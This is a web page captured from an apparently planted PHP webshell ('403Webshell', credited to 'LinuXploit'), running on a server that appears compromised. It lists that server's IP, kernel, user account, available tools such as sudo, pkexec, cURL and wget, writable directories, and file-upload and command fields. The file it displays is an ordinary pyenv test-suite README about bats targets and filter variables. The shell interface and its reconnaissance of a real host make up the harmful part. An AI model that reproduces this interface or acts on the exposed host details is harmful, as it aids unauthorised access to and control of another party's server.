403Webshell
Server IP : 103.175.220.74  /  Your IP : 216.73.216.151
Web Server : nginx/1.18.0
System : Linux p-floo-wj1-db 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : deploy ( 1003)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/deploy/.pyenv/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/deploy/.pyenv/test/README.md
# TEST

---

## Running test suite

Test suite could be launch with `make` by providing the right target depending what you want to achieve.

Under the hood, `pyenv` test suites use `bats` as a test framework and are run on the host or docker depending of the target provided to make.



### Targets

- `test`
  - Run the whole test suite on the local host
- `test-docker`
  - Run the whole test suite on docker
    - Some volumes are used in read-only mode
- `test-unit`
  - Run the unit test
- `test-plugin`
  - Run the plugin test
- `test-unit-docker-[BASH_VERSION]`
  - Run the unit test under **official** bash docker container (alpine/busybox) with the specified bash version if present is in the `Makefile`
  - Some volumes are used in read-only mode
- `test-unit-docker-gnu-[BASH_VERSION]`
  - Run the unit test under **official** bash docker container (alpine/busybox), completed by **GNU Tools**, with the specified bash version if present is in the `Makefile`
  - Some volumes are used in read-only mode
- `test-plugin-docker-[BASH_VERSION]`
  - Run the plugin test under **official** bash docker container (alpine/busybox), completed by **GNU Tools**, with the specified bash version if present is in the `Makefile`
  - Some volumes are used in read-only mode
- `test-plugin-docker-gnu-[BASH_VERSION]`
  - Run the plugin test under **official** bash docker container (alpine/busybox), completed by **GNU Tools**, with the specified bash version if present is in the `Makefile`
  - Some volumes are used in read-only mode

## Targeting specific test / test file

 By setting some environment variables, it is possible to filtering which test and/or test file who will be tested with bats

- `BATS_FILE_FILTER`

  - Run test only with the specified file

- `BATS_TEST_FILTER`
  - Run test only who corresponding to the filter provided


### Examples

```bash
    $ BATS_TEST_FILTER=".*installed.*" BATS_FILE_FILTER="build.bats" make test-plugin-docker-gnu-3.2.57
    build.bats
     ✓ yaml is installed for python
     ✓ homebrew is used in Linux if Pyenv is installed with Homebrew
     ✓ homebrew is not used in Linux if Pyenv is not installed with Homebrew
    
    3 tests, 0 failures
    
    $ BATS_TEST_FILTER=".*installed.*" BATS_FILE_FILTER="build.bats" make test-plugin
    build.bats
     ✓ yaml is installed for python
     ✓ homebrew is used in Linux if Pyenv is installed with Homebrew
     ✓ homebrew is not used in Linux if Pyenv is not installed with Homebrew
    
    3 tests, 0 failures
```



## Writing test

To be reproducible, each test use/should use its own `TMPDIR` .  
It's achieved by using the environment variable `BATS_TEST_TMPDIR` provided by bats that is automatically deleted at the end of each test. More info [here](https://bats-core.readthedocs.io/en/stable/writing-tests.html#special-variables)

Another variable who could be used to source some file who need to be tested is `BATS_TEST_DIRNAME` who point to the directory in which the bats test file is located.

Youez - 2016 - github.com/yon3zu
LinuXploit